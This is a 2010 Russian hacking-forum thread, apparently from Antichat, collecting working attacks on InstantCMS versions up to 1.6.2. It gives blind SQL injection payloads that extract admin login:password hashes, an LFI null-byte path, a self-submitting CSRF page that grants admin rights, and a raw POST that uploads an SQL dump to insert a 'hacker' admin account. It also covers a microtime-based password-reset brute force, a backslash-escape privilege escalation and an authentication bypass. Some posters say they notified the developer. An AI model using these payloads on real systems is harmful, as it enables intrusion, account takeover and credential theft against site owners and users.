Обзор уязвимостей InstantCMS

Discussion in 'Веб-уязвимости' started by Jerri, 8 Mar 2010.

  1. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    sql inj instantCMS <== 1.5.3

    Need:mq=off
    как раньше писал в этой цмс почти все фильтруется, что передается методом post, код усеян регулярками.
    Но есть одна особенность. Все это хорошо конечно, но фильтр пропускает
    1) \
    2) "
    Вследствии чего даже обычный юзер по ошибке может вызвать ошибку бд. Допустим запостив на форуме пост оставив на конце \
    ошибка есть, но толку нет, insert запросы никак не закрыть т.к '(одинарная кавычка) обрабатывается фильром и заменяется на `(апостроф).
    Ближе к делу. Рассмотрим скрипт регистрации юзеров.
    /components/registration/frontend.php
    PHP:
    if($inDB->rows_count('cms_users''LOWER(nickname) LIKE "'.strtolower($nickname).'"'1)){
                
    $msg .= $_LANG['ERR_NICK_EXISTS'].'<br/>';
    }
    /core/classes/db.class.php
    PHP:
    public function rows_count($table$where$limit=0){
        
    $sql "SELECT * FROM $table WHERE $where";

        if (
    $limit) { $sql .= " LIMIT ".$limit; }

        
    $result $this->query($sql);
        return 
    $this->num_rows($result);
    }
    Суть:Перед тем как аккаунт занесется в бд, он проверится на совпадения.
    $nickname Окружена двойными кавычками, они не трогаются фильтрами поэтому.
    вбиваем d поле никнейм следующую шляпу.
    Code:
    1" and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))=1,1,(select 1 union select 2))#
    Есть одна проблема. Символы <> Жрет фильтр. Это печально, из-за этого на добычу хеша бинарным поиском уйдет больше времени и больше срача будет в логах. Пока еще не раздумывал, но я догадываюсь, как можно обойти. Как разберусь напишу результат.
    P.S. переменная $email, проверяется только на регулярку через eregi(). Поставил старую версию php и начал Травить я его ядовитым нулл байтом. ничего хорошего не вышло. только ошибка в бд... байт чего-то синтаксис портит нехило.

    С этого момента после нахождения мной уязвимости в этой кмс, о ней будет информирован разработчик.
     
    #21 The matrix, 11 May 2010
    Last edited: 11 May 2010
    2 people like this.
  2. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    InstantCMS v1.5.3 © 2009


    Пассивная XSS
    LFI

    Нужны права админа.

    Т.к. при ../ - слэш убираеться, юзаем ..\
    /admin/index.php?view=..%5C..%5Cshell.txt%00
    (В корне лежал файл shell.txt с phpinfo(); ), код выполнился.

    SQL Inj
    Нужны права админа.

    /admin/index.php?view=components&do=config&id=21&opt=edit&item_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--+
    PHP:
    if (isset($_SESSION['editlist'])){
                            
    $id array_shift($_SESSION['editlist']);
                            if (
    sizeof($_SESSION['editlist'])==0) { unset($_SESSION['editlist']); } else 
                            { 
    $ostatok '(На очереди: '.sizeof($_SESSION['editlist']).')'; }
                         } else { 
    $id $_REQUEST['item_id']; }
            
            
                         
    $sql "SELECT * FROM cms_user_autoawards WHERE id = $id LIMIT 1";
                         
    $result dbQuery($sql) ;
                         if (
    mysql_num_rows($result)){
                            
    $mod mysql_fetch_assoc($result);
                         }
    CSRF exploit:
    HTML:
    <html>
    <title> Fs3M Chm0k3 v 3Nt0m ch4te! =* </title>
    <div style='display: none'>
    <form action="http://shop/admin/index.php?view=users&do=edit&id=21" method="post" enctype="multipart/form-data" name="addform" id="addform">
    <input name="login" type="text" id="logininput" value="Login" />
    <input name="nickname" type="text" id="login" value="Xenker"/>
    <input name="email" type="text" id="nickname" value="abcd@localhost"/>
    <input name="pass" type="password" id="pass"/>
    <input name="pass2" type="password" id="pass2"/>
    <select name="group_id" id="group_id"><option value="2" >Администраторы</option></select>
    <input name="is_locked" type="radio" value="0" checked="checked" />
     Нет
    <input name="do" type="hidden" id="do" value="update" />
    <input name="add_mod" type="submit" id="add_mod" value="Сохранить профиль" />
    </div>
    <script>
    document.addform.submit();
    </script>
    </html>
    


    Примечание:
    Там очень много SQL Inj, но, долбанное ЧПУ недаёт свободу! :(
     
    #22 Ctacok, 11 May 2010
    Last edited: 11 May 2010
    1 person likes this.
  3. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    Переустановка пароля админа и угадывание его
    Уязвимы все версии.
    Для эксплуатации нужно:
    Админское мыло(по умолчанию отображается в профиле)
    много времени.
    В чем суть:
    /components/registration/frontend.php
    PHP:
                    $sql "SELECT * FROM cms_users WHERE email = '$email' LIMIT 1";
                    
    $result $inDB->query($sql) ;

                    if (
    $inDB->num_rows($result)>0){
                        
    $usr $inDB->fetch_assoc($result);
            

                        
    $newpassword substr(md5(microtime()), 06);
                        
    $inDB->query("UPDATE cms_users SET password = '".md5($newpassword)."' WHERE id = ".$usr['id']) ;


                        
    $mail_message $_LANG['HELLO'].', ' $usr['nickname'] . '!'"\n\n";
                
    $mail_message $_LANG['HELLO'].', ' $usr['nickname'] . '!'"\n\n";    
                        
    $mail_message .= $_LANG['REMINDER_TEXT'].' "'.$inConf->sitename.'".' "\n\n";
                        
    $mail_message .= $_LANG['OUR_PASS_IS_MD5'] . "\n";
                        
    $mail_message .= $_LANG['OUR_PASS_IS_MD5_TEXT'] . "\n\n";
                        
    $mail_message .= '########## '.$_LANG['YOUR_LOGIN'].': ' .$usr['login']. "\n\n";
                        
    $mail_message .= '########## '.$_LANG['YOUR_NEW_PASS'].': ' .$newpassword "\n\n";
                        
    $mail_message .= $_LANG['YOU_CAN_CHANGE_PASS']."\n";
                        
    $mail_message .= $_LANG['IN_CONFIG_PROFILE'].': 'cmsUser::getProfileURL($usr['login']) . "\n\n";
                        
    $mail_message .= $_LANG['SIGNATURE'].', '$inConf->sitename ' ('.HOST.').' "\n";
                        
    $mail_message .= date('d-m-Y (H:i)');   
                        
    $inCore->mailText($email$inConf->sitename.' - '.$_LANG['REMINDER_PASS'], $mail_message);
    Этот скрипт восстанавливает пароль рассеяным юзерам. Но как он это делает.
    1) Проверяет есть ли мыльник в бд.
    2) Скрипт не церемонясь присваивает значение паролю равному первым шести символам хеша от значения, которое генерирует функция microtime().
    Code:
    Функция microtime() возвращает текущую метку времени с микросекундами. Эта функция
     доступна только
     на операционных системах, в которых есть системная функция gettimeofday(). 
    При вызове без необязательного параметра, возвращается строка в формате "msec sec",
    где sec - это количество секунд, прошедших с начала Эпохи
     Unix (The Unix Epoch, 1 января 1970, 00:00:00 GMT), а msec - это дробная часть.
    она генерирует что-то на подобии.
    0.xxxxxx00 [1273589840]
    где xxxxxx-доли секунды
    то что в квадратных скобках-это количество секунд, прошедших с начала Эпохи Unix.
    Как юзать уязвимость:
    Отсылаем запрос на восстановление пароля и сниффаем пакет. смотрим в ответе на запрос дату.
    Там что-то вроде.
    Tue, 11 May 2010 20:39:23 GMT
    узнаем на локальной машине сколько прошло с момента 1970, 00:00:00 GMT.
    2) А вот микросекунды придется брутить, их мы никак не узнаем. Список
    создаем вида
    0.xxxxxx00 [время в секундах прошедшее от момента "Unix" до момента отправки запроса на восстановление пароля]
    пример: 0.30001200 1273589840
    всесто xxxxxx вставляем все возможные комбинации из цифр, их 1 млн. Затем преобразуем их к виду.
    substr(md5(значение), 0, 6)
    возвращаем мд5 каждого получившегося значения и отрезаем от хеша символы после шестого знака.
    Пример: 1a512b
    Получился словарь 1млн слов. Один из этих слов-сгенерированный пассворд. Брутим веб форму.
    У меня на дедике многопоточный брут дает до 11 ппс.
    1000000/11=90.909 - то есть в худшем случае пароль мы узнаем через сутки. Геморно, а че поделать. На количество попыток залогиниться ограничений не стоит в форме авторизации.
    P.S. Оказывается секунда-это много.
    Этот баг не яркий пример приятной эксплуатации. Но все же он ведет к успеху. Т.К. В сгенерированном большом словаре 100% содержится правильный пассворд. И если ничего не остается, как вариант можно юзать.

    Нарушение криптостойкости паролей
    еще этот баг открывает новую опасность. Сгенерированный пароль сразу попадает в бд. Что это дает? Допустим стянул ты пароль админа через sql inj. А он не расшифровывается, пароль трудный. Что мы делаем:
    1) Переустанавливаем пароль той же фичей. Напоминаю пароль состоит из 6 символов, которые являются цифрами или буквами.
    2) Стягиваем через sql inj md5 и расшифровываем уже сгенерированный пароль. (думаю пароль из 6 символов [букв и цифр] расшифровать не трудно)
    все

    Видео с примером использования уязвимости:
    https://forum.antichat.ru/threadedpost2138119.html#post2138119
     
    #23 The matrix, 12 May 2010
    Last edited: 12 May 2010
    4 people like this.
  4. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    instantCMS 1.5.3
    Blind SQL Inj.
    Вывода ошибок нету. Как хотите так и крутите :D
    Я включил себе вывод ошибок.
    Duplicate entry '5.0.45-community-nt1' for key 1

    PHP:
    case 'catalog':    $result $inDB->query("SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1") or die(mysql_error());
                                 if (
    mysql_num_rows($result)){
                                    
    $data mysql_fetch_assoc($result);
                                    if (
    $short) { $data['title'] = substr($data['title'], 030).'...'; }
                                    
    $html .= '<a href="/catalog/0/item'.$target_id.'.html#c">'.$data['title'].'</a>';
                                    if (
    $onlylink) { $html 'http://'.$_SERVER['HTTP_HOST'].'/catalog/0/item'.$target_id.'.html#c'; }
                                 }
                                 break;
     
    2 people like this.
  5. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Опачки. Ещё Blind.

    Instant CMs 1.5.3

    т.к. юзер root. первый символ r = ASCII = 114.
    Выведиться весь контент, НУ вы понеле кароче!

    // /components/rssfeed/frontend.php?target=content&item_id=-1+OR+id=IF(ASCII((SELECT+USER()))%3E=114,1,0)%20--
    Так даже удобнее ^_^
     
    #25 Ctacok, 12 May 2010
    Last edited: 12 May 2010
  6. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    InstantCMS <==1.5.1 Внедерение sql кода Добавляем админа
    Иногда бывают моменты, когда нет смысла искать уязвимость, чисто потому что разработчик продукта сам ее нашел за вас =)))
    Уязвимость была найдена методом сравнения нового дистрибутива и старого. В результате было найдено много багов в старых дистрибутивах. Самый вкусный выкладываю.
    файл
    /core/ajax/dumper.php
    Этот скрипт по идее создан для админа, но пускает и простых юзеров. Суть значит в чем? Он экспортит, импортит бд и удаляет бэкапы.
    С экспортом бд ничего хорошего сказать не могу. На локалхосте робит, на некоторых сайтах работать отказывается. Но нам он и не нужен. Мы будем добавлять админа через import
    PHP:
    if ($opt=='import'){
            
    $uploaddump $dir.'/import.sql';    
            if (@
    move_uploaded_file($_FILES['dumpfile']['tmp_name'], $uploaddump)) {
                include(
    $_SERVER['DOCUMENT_ROOT'].'/includes/dbimport.inc.php');
                
    $errors '';
                if(
    dbRunSQL($uploaddump)){
                    @
    unlink($uploaddump);
                    echo 
    '<span style="color:green">Импорт базы данных завершен.</span>';    
                } else {
                    echo 
    '<span style="color:red">'.$errors.'</span>';        
                }
            } else {
                echo 
    '<span style="color:red">Ошибка импорта базы</span>';        
            }
        }
    1) Передаем opt=import И через $_FILES шлем файл с evil запросом.
    /includes/dbimport.inc.php
    PHP:
                                    strstr($str'CREATE TABLE') ||
                                    
    strstr($str'INSERT INTO') ||
                                    
    strstr($str'DROP') ||
                                    
    strstr($str'UPDATE') ||
                                    
    strstr($str'ALTER TABLE'))
    select запросы неприемлимы импортер их не хавает. Но и смысла в них нет.
    Значит как юзать.
    1) Тупо шлем пакет:
    Code:
    POST /core/ajax/dumper.php HTTP/1.0
    User-Agent: google/bot
    Host: localhost
    Proxy-Connection: Keep-Alive
    Content-Type: multipart/form-data; boundary=----------sBqCWtu9l05BT8ffSSXt4Q
    Content-Length: 675
    
    ------------sBqCWtu9l05BT8ffSSXt4Q
    Content-Disposition: form-data; name="opt"
    
    import
    ------------sBqCWtu9l05BT8ffSSXt4Q
    Content-Disposition: form-data; name="dumpfile"; filename="13-05-2010.sql"
    Content-Type: application/octet-stream
    
    INSERT INTO `cms_users` (`id`, `group_id`, `login`, `nickname`, `password`, `email`, `icq`, `regdate`, `logdate`, `birthdate`, `is_locked`, `is_deleted`, `rating`, `points`, `last_ip`) VALUES ('666','2','hacker','hacker','5f4dcc3b5aa765d61d8327deb882cf99','[email protected]','100200300','2007-11-23 12:41:57','2010-05-13 11:46:50','1980-01-01','0','0','2','0','0.0.0.0');
     
    
    
    ------------sBqCWtu9l05BT8ffSSXt4Q--
    
    В бд появится админ
    id:666
    login:hacker
    password : password (md5)
    email: [email protected]
    2)Для консерваторов:

    Code:
    </html>
    <head>
    <title> The matr1x</title>
    </head>
    
    	<h3>форма добавления админа</h3>
    						<form id="importdump" name="importdump" action="http://www.localhost/core/ajax/dumper.php" method="post" enctype="multipart/form-data">
    							<input type="hidden" name="opt" value="import" />
    							<input name="dumpfile" type="file" id="dumpfile" size="25" />
    							<input type="submit" value="добавить админа" />
    				
    						</form>
    
    					
    </body>
    </html>
    
    УСЕ! =)
    Первооткрыватель: Spyder
     
    #26 The matrix, 13 May 2010
    Last edited: 25 Jun 2010
    2 people like this.
  7. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Ulalala ^_^
    Обязательно 4,14!
    [​IMG]

    :eek:
     
    #27 Ctacok, 13 May 2010
    Last edited: 13 May 2010
    3 people like this.
  8. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    запрос
    Code:
    SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1
    В запросе ведь $target_id.... Откуда взялся item_id?

    Дело в то, что Тут другой запрос. Твой не имеет совершенно никакого отношения к баге.
    Результат: Кривой Эксплойт.
    Суть этой скули в следующем.
    Проследим и ОЧЕНЬ подробно по запчастям разберемся в работе скрипта. Так как тут очень много переходов по файлам.
    /components/rssfeed/frontend.php

    PHP:
      require(PATH."/core/cms.php");
    ...................................

    $inCore->loadClass('db');

    ...................................
        if (
    file_exists($_SERVER['DOCUMENT_ROOT'].'/components/'.$target.'/prss.php')){
            
            
    $inCore->includeFile('components/'.$target.'/prss.php');
            
            eval(
    'rss_'.$target.'($item_id, $cfg, $rssdata);');    
            
            
    $ready sizeof($rssdata['items']);
                
    функция includeFile() объявляется в
    /core/cms.php.
    вот она
    PHP:
        public function includeFile($file){
            include_once 
    PATH.'/'.$file;
        }
    В своем запросе ты передал $target=content.
    Инклудится
    /components/content/prss.php
    смотрим что в нем
    PHP:
        $cat dbGetFields('cms_category''id='.$item_id'id, title, description, NSLeft, NSRight');
    Возвращаемся в
    /core/cms.php и смотрим, что делает функция dbGetFields()
    /core/cms.php
    PHP:
    function dbGetFields($table$where$fields$order='id ASC'){
        
    $inDB cmsDatabase::getInstance();
        
    $sql "SELECT $fields FROM $table WHERE $where ORDER BY $order";
        
    $result $inDB->query($sql) or die('DB_GET_FIELDS: '.mysql_error().'<pre>'.$sql);

        if (
    $inDB->num_rows($result)){
            
    $data $inDB->fetch_assoc($result);
            return 
    $data;
        } else {
            return 
    false;
        }
    }
    Функции поступают
    dbGetFields(
    'cms_category', 'id='.$item_id, 'id, title, description, NSLeft, NSRight')
    Шаблонный вид
    ($table, $where, $fields, $order='id ASC')
    как видно функция генерирует запрос
    $sql = "SELECT $fields FROM $table WHERE $where ORDER BY $order";
    первое значение $table='cms_category' второе значение. $where='id='.$item_id $fields='id, title, description, NSLeft, NSRight'
    ну и $order='id ASC', который уже задан в функции. Теперь подставляем значения смотрим какой запрос нам сгенерирует функция.
    Code:
    SELECT id, title, description, NSLeft, NSRight FROM cms_category WHERE id=$item_id ORDER BY id ASC
    как видно остался злосчастный $item_id, который не проинициализирован и не подвергается обработке.
    Далее что делает функция.
    dbGetFields
    $inDB->num_rows($result)
    $result = $inDB->query($sql)
    $data = $inDB->fetch_assoc($result);
    функции query() и fetch_assoc() вызовутся так:
    вернемся в fronted.php
    смотрим строчку
    $inCore->loadClass('db');
    loadClass() объявляется
    в cms.php
    PHP:
        public function loadClass($class){
            
    $classfile PATH.'/core/classes/'.$class.'.class.php';
            if (
    file_exists($classfile)){
                include_once(
    $classfile);
                return 
    true;
            }
    нам подгружается db.class.php
    PHP:
    public function fetch_assoc($result){
        return 
    mysql_fetch_assoc($result);
    }
    PHP:
    public function num_rows($result){
        return (int)
    mysql_num_rows($result);
    }
    PHP:
    public function query($sql){
        
    $inConf cmsConfig::getInstance();

        
    $result mysql_query($sql$this->db_link);

        if (
    $inConf->debug){
            
    $this->q_count  += 1;
            
    $this->q_dump   .= '<pre>'.$sql.'</pre><hr/>';
        }

        if (
    mysql_error() && $inConf->debug){
            die(
    '<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>');
        }
        
        return 
    $result;
    }
    как и видно по названия им вызываются соответствующие функции.
    если num_rows() ничего тебе не вернет, то дело до fetch_assoc() не дайдет, функция вернет false. А вытекающее следующее.
    вместо вывода ты получишь:
    frontend.php
    PHP:
    else {    
                
    $rss '<p>Запрашиваемая вами RSS-лента не содержит записей.</p>';    
            }
    Отсюда следует вот что:
    num_rows() должен вернуть не пустое значение.
    exploit
    components/rssfeed/frontend.php?
    Code:
    target=content&item_id=[id существующей категории]+union+select+1,concat_ws(0x3a,user(), database(),version()),3,4,5+--+
    честно скажу я не стал вникать, почему твоя конструкция вернула тебе резуьтат(num_rows не вернул 0), ибо все эти хождения по файлам и функциям уже мой мозг вынесли напрчь. Но одно очевидно, я добавил новые категории(а админы их пустыми то и не держут) и твой exploit отказался работать.
    вот такая система работы. Никаких 4,14 не нужно.
    а ведь хорошая уязвимость =) даже mq = off не требуется.
     
    #28 The matrix, 13 May 2010
    Last edited: 14 May 2010
    2 people like this.
  9. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Вот откуда он взялся :)

    А вообще.

    PHP:
    ...
    $do      $inCore->request('do''str''rss');
    $target  $inCore->request('target''str''rss');
    $item_id $inCore->request('item_id''str''all');
    ...
    $inCore->includeFile('components/'.$target.'/prss.php');
    eval(
    'rss_'.$target.'($item_id, $cfg, $rssdata);');
    Посмотрим на файл с этой функцией..
    PHP:
    function rss_content($item_id$cfg, &$rssdata){
    ....
            if (
    $item_id == 'all') { $item_id 0; }    
            
    //CHANNEL
            
    if ($item_id){
                
    $cat dbGetFields('cms_category''id='.$item_id'id, title, description, NSLeft, NSRight');
                
    $catsql "AND c.category_id = cat.id AND cat.NSLeft >= {$cat['NSLeft']} AND cat.NSRight <= {$cat['NSRight']}";
    Ponel ?)

    v 1.5.3
     
    #29 Ctacok, 14 May 2010
    Last edited: 14 May 2010
  10. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    Ну а я о чем писал? =) Я и эту функцию привел, и показал, что она делает и какой в результате получается запрос. И никакого target_id который ты привел в этом коде.
    PHP:
    case 'catalog':    $result $inDB->query("SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1") or die(mysql_error()); 
                                 if (
    mysql_num_rows($result)){ 
                                    
    $data mysql_fetch_assoc($result); 
                                    if (
    $short) { $data['title'] = substr($data['title'], 030).'...'; } 
                                    
    $html .= '<a href="/catalog/0/item'.$target_id.'.html#c">'.$data['title'].'</a>'
                                    if (
    $onlylink) { $html 'http://'.$_SERVER['HTTP_HOST'].'/catalog/0/item'.$target_id.'.html#c'; } 
                                 } 
                                 break; 
    там нету и быть не может. Прочти внимательнее мой пост выше =)
     
    #30 The matrix, 14 May 2010
    Last edited: 14 May 2010
  11. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Кхм странно...
    У тя версия какая? Просто у меня 1.5.3
     
    2 people like this.
  12. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    Я тестил на 1.5.3. Да все верно на 1.6.1 эта бага залатана вроде как. Закроем глаза на target_id.
    Разберемся с запросом. Нагуляляся по функциям. В итоге ты в этот запрос инжектил?
    Code:
    SELECT id, title, description, NSLeft, NSRight FROM cms_category WHERE id=$item_id ORDER BY id ASC
    ?
    Другая поправка.
    если ты укажешь в item_id существующий id, то ты железно получишь вывод причину описал выше.
    Иначе есть риск запороть вывод. Проверь, убедись.
     
    #32 The matrix, 14 May 2010
    Last edited: 14 May 2010
    1 person likes this.
  13. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Ну вчера же вывелось всё равно, в код вмешательств небыло :)
    Мистика...
     
  14. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    LFI InstantCMS <===== 1.5.1
    Nees: mq=off

    index.php
    PHP:
    $inCore->proceedBody();
    /core/cms.php
    PHP:
    public function proceedBody(){
            
    $inPage         cmsPage::getInstance();
            
    $menuid         $this->menuId();
            
    $is_component   false;
            
    ob_start();
            if (isset(
    $_REQUEST['view'])) { $component htmlentities($_REQUEST['view'], ENT_QUOTES); }
            if (isset(
    $component)){
                
    //CHECK COMPONENT NAME (это типа фильтр ухаха)
                
    if (strstr($component' ') ||
                    
    strstr($component'\'') ||
                    
    strstr($component'"') ||
                    
    strstr($component'&') ||
                    
    strstr($component'#') ||
                    
    strstr($component'*') ||
                    
    strstr($component'>') ||
                    
    strstr($component'<')    )
                { die(
    'HACKING ATTEMPT BLOCKED'); }
                
    //EXECUTE COMPONENT
                
    if(file_exists('components/'.$component.'/frontend.php')){
                    echo 
    '<div class="component">';
                        require (
    'components/'.$component.'/frontend.php');
                        eval(
    $component.'();');                    
                    echo 
    '</div>';
                    
    $is_component true;
                    if (
    $menuid != && $inPage->back_button) { echo "<p><a href='javascript:history.go(-1)' class=\"backlink\">&laquo; Назад</a></p>"; }
                } else { echo 
    '<p>Компонент не найден!</p>'; }
            }
            
    $inPage->page_body ob_get_clean();

            if (
    $is_component) { $inPage->page_body cmsCore::callEvent('AFTER_COMPONENT_'.mb_strtoupper($component), $inPage->page_body); }

            return 
    true;
        }
    ..................................
    exploit
    Code:
    Index.php?view=[LFI]%00
     
    4 people like this.
  15. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    УРА! Вышла стабильная версия instantCMS 1.6.2, в которой разработчики полатали все выложенные тут баги, но у меня была цель найти еще баг именно в этой версии, что из этого вышло смотрим ниже.

    0day. Повышаение прав в cms до админа InstantCms <===1.6.2 (обход фильтра)

    Как видно из названия, мы можем из простого юзера попасть в админа.
    Need MQ=off
    редактирование профиля:
    /users/frontend.php
    PHP:

    if ($do=='editprofile'){

        
    $opt $inCore->request('opt''str''edit');

        if (
    usrCheckAuth()){
        
            if (
    $inUser->id==$id || $inCore->userIsAdmin($inUser->id)){
            
                    if (
    $opt == 'save'){
                        
    $errors false;
                        
                        
    $nickname $inCore->request('nickname''str');
                        if (
    strlen($nickname)<2) { cmsCore::addSessionMessage($_LANG['SHORT_NICKNAME'], 'error'); $errors true; }

                        
    $gender $inCore->request('gender''str');
                        
                        
    $city $inCore->request('city''str');
                        if (
    strlen($city)>20) { cmsCore::addSessionMessage($_LANG['LONG_CITY_NAME'], 'error'); $errors true; }

                        
    $email $inCore->request('email''str');
                        if (!
    strpos($email'@') || !strpos($email'.')) { cmsCore::addSessionMessage($_LANG['REALY_ADRESS_EMAIL'], 'error'); $errors true; }
                        
                        
    $showmail       $inCore->request('showmail''int');
                        
    $email_newmsg   $inCore->request('email_newmsg''int');
                        
                        
    $showbirth      $inCore->request('showbirth''int');
                        
    $description    $inCore->request('description''str');
                        
                        
    $birthdate      = (int)$_REQUEST['birthdate']['year'].'-'.(int)$_REQUEST['birthdate']['month'].'-'.(int)$_REQUEST['birthdate']['day'];
                        
    $signature      $inCore->request('signature''str');

                        
    $allow_who      $inCore->request('allow_who''str');
                        
                        
    $icq            $inCore->request('icq''str');
                        
    $showicq        $inCore->request('showicq''int');
                        
                        
    $cm_subscribe   $inCore->request('cm_subscribe''str');
                        
                        if (
    $inCore->inRequest('field')){
                            foreach(
    $_POST['field'] as $k=>$val){
                                
    $_POST['field'][$k] = str_replace('\"''&quot;'$_POST['field'][$k]);
                                
    $_POST['field'][$k] = str_replace('"''&quot;'$_POST['field'][$k]);
                                
    $_POST['field'][$k] = str_replace("\'"'’'$_POST['field'][$k]);
                                
    $_POST['field'][$k] = str_replace("'"'’'$_POST['field'][$k]);
                                
    $_POST['field'][$k] = strip_tags($_POST['field'][$k]);
                            }                    
                            
    $formsdata $inCore->arrayToYaml($_POST['field']);
                            
    $forms_sql ", formsdata='$formsdata'";
                        } else {
                            
    $forms_sql '';
                        }
                        
                        if (!
    $errors){
                           
                            
    $sql "UPDATE cms_user_profiles 
                                     SET city = '
    $city',
                                        description = '
    $description',
                                        showmail='
    $showmail',
                                        showbirth='
    $showbirth',
                                        showicq='
    $showicq',
                                        allow_who='
    $allow_who',
                                        signature='
    $signature',
                                        gender='
    $gender$forms_sql,
                                        email_newmsg='
    $email_newmsg',
                                        cm_subscribe='
    $cm_subscribe'
                                    WHERE user_id = 
    $id";
                            
    $inDB->query($sql) ;

                            
    $sql "UPDATE cms_users 
                                    SET birthdate='
    $birthdate',
                                        email='
    $email',
                                        icq='
    $icq',
                                        nickname='
    $nickname'
                                    WHERE id = 
    $id";
                            
    $inDB->query($sql) ;

                            
    cmsCore::addSessionMessage($_LANG['PROFILE_SAVED'], 'info');

                        }

                        
    $inCore->redirect(cmsUser::getProfileURL($inUser->login));
                        
                    }                
                
    Как устроен фильтр? У нас фильтр реплэсит
    ' (Кавычка)
    \' (слеш+одинарная кавычка)
    \" (слеш+двойная кавычка)
    "(двойная кавычка)
    насчет 2 и 3 я честно сказать не понял, что разработчики хотели этим мне доказать?
    давайте обратим внимание на этот запрос.
    Code:
    						$sql = "UPDATE cms_users 
    								SET birthdate='$birthdate',
    									email='$email',
    									icq='$icq',
    									nickname='$nickname'
    								WHERE id = $id";
    						$inDB->query($sql) ;
    Этот запрос апдейтит cms_users. (Через форму для апдейта). изменяет ICQ, email, nickname.
    В этой таблице есть столбец отвечающий за группу пользователя: group_id Если она установлена на 1-то наш пользователь-юзер если 2-пользователь админ.
    Здесь нам интересны $icq, $nickname. $email не интересен, так как он через регулярку проходит. $id-id юзера, у которого мы меняем данные.
    Ну и как же нам внедрить себя в этот запрос с учетом вышеуказанного фильтра? ЭЛЕМЕНТРАРНО!
    В поле ваше имя вбиваем: group_id=2 #\
    В поле ICQ Вбиваем: 333s \
    соответственно $icq=333s \ ; $nickname=group_id=2 #\
    Давайте посмотрим, что у нас получилось.
    Code:
    						$sql = "UPDATE cms_users 
    								SET birthdate='$birthdate',
    									email='$email',
    									icq=[COLOR=Red]'333s \',
    									nickname='[/COLOR], group_id=2 #\'
    								WHERE id = $id";

    АГА. Жареным пахнет.
    Мы заэкранировали кавычку и вышли в запрос, и закрыли icq мы открывающей кавычкой От nickname и дописали доболнительное значение group_id=2. После выполнения наш юзер, которому мы меняли данные примет group_id=2 и чудесным образом превратится в админа.
    Вот такая вот интересная бага была найдена в новой версии instantCMS


    Видео к теме:
    Code:
    https://forum.antichat.ru/showthread.php?p=2145955#post2145955
     
    #35 The matrix, 16 May 2010
    Last edited: 16 May 2010
    5 people like this.
  16. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    Опять зиро дэй

    Auth0r1zat1oN byPass InstantCMS<=== 1.6.2​

    Need: mq=off
    Не буду нагромождать лишним кодом.
    Запрос для авторизации следующий:

    PHP:
    $sql    "SELECT * 
                               FROM cms_users
                               WHERE 
    $where_login AND password = md5('$passw') AND is_deleted = 0 AND is_locked = 0";
    Что нельзя использовать
    ' (Кавычка) [Реплейсится в `(апостроф)]
    легко понять, что этого мало.
    Как юзать:
    В поле логин пишем: matrix\
    в поле пароль пишем: or id=1#\
    У нас получится:
    Code:
    SELECT * 
                               FROM cms_users
                               WHERE login = [COLOR=Red]'matrix\' AND password = md5('[/COLOR]or id=1#[COLOR=Lime]\') AND is_deleted = 0 AND is_locked = 0[/COLOR]
    слешанули по одной кавычке в логине и пассворде.
    в результате логин закрылся кавычкой от password и синтаксис не нарушился.
    примечание:
    id-айди пользователя под которым мы хотим залогиниться.
    Вот так мы байпаснули авторизацию.
    Разработчик о баге и о наличии супер функции mysql_real_escape_string() оповещен.
     
    #36 The matrix, 24 May 2010
    Last edited: 24 May 2010
    2 people like this.
  17. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    УРА! Вышли заплатки на новую версию. Версию instantCMS. Захотел покурить php код вот что получилось
    InstantCMS <==1.6.2(2) sql injection (insert)

    MQ=off
    /components/frontend.php
    PHP:
     "INSERT INTO cms_forum_threads (forum_id, user_id, title, description, icon, pubdate, hits)
                                    VALUES ('
    $id', '".$inUser->id."', '$title', '$description', '', NOW(), 0)";
    повезло.
    $title $description пропускают \
    Как это заюзать
    создаем на форуме топик
    Название:matr1x\
    Описание: , (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)#
    Мы получаем
    Code:
    "INSERT INTO cms_forum_threads (forum_id, user_id, title, description, icon, pubdate, hits)
